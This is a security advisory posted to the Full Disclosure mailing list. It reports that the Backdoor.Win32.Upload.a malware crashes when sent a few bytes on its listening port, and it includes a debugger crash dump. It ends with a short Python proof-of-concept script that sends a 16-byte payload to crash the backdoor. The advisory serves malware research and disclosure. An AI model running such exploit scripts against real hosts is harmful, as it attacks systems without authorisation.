Date: Sun, 23 May 2021 22:45:57 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Upload.a / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/70711c4f594fe97ff6ab17039c133458.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Upload.a
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 49971, each time it is run the
port increments by one 49972 etc. Third-party attackers who can reach the
infected host can send a payload of just few bytes to crash the backdoor.
Type: PE32
MD5: 70711c4f594fe97ff6ab17039c133458
Vuln ID: MVID-2021-0224
Disclosure: 05/23/2021

Memory Dump:
(1f48.19e8): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003
edi=00000003
eip=77aeed3c esp=05d9f5f4 ebp=05d9f784 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400          ret     14h

0:002> .ecxr
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00408694
edi=00404bd0
eip=00404caa esp=05d9ff34 ebp=05d9ff80 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa:
00404caa 8a4001          mov     al,byte ptr [eax+1]
 ds:002b:00000001=??

0:002> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa
00404caa 8a4001          mov     al,byte ptr [eax+1]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00404caa
(Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x00004caa)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001

FOLLOWUP_IP:
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa
00404caa 8a4001          mov     al,byte ptr [eax+1]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000019e8

BUGCHECK_STR:
 APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE

LAST_CONTROL_TRANSFER:  from 776f8654 to 00404caa

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
05d9ff80 776f8654 00000000 776f8630 b72ca01f
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa
05d9ff94 77ae4a77 00000000 514535be 00000000
kernel32!BaseThreadInitThunk+0x24
05d9ffdc 77ae4a47 ffffffff 77b09ed9 00000000 ntdll!__RtlUserThreadStart+0x2f
05d9ffec 00000000 00404bd0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458

IMAGE_NAME:  Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  21475346

FAILURE_BUCKET_ID:
 NULL_CLASS_PTR_DEREFERENCE_c0000005_Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=49971

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*16
    s.send(PAYLOAD)
    s.close()

    print("Backdoor.Win32.Upload.a /  Remote Denial of Service")
    print("MD5: 70711c4f594fe97ff6ab17039c133458")
    print("By Malvuln")


if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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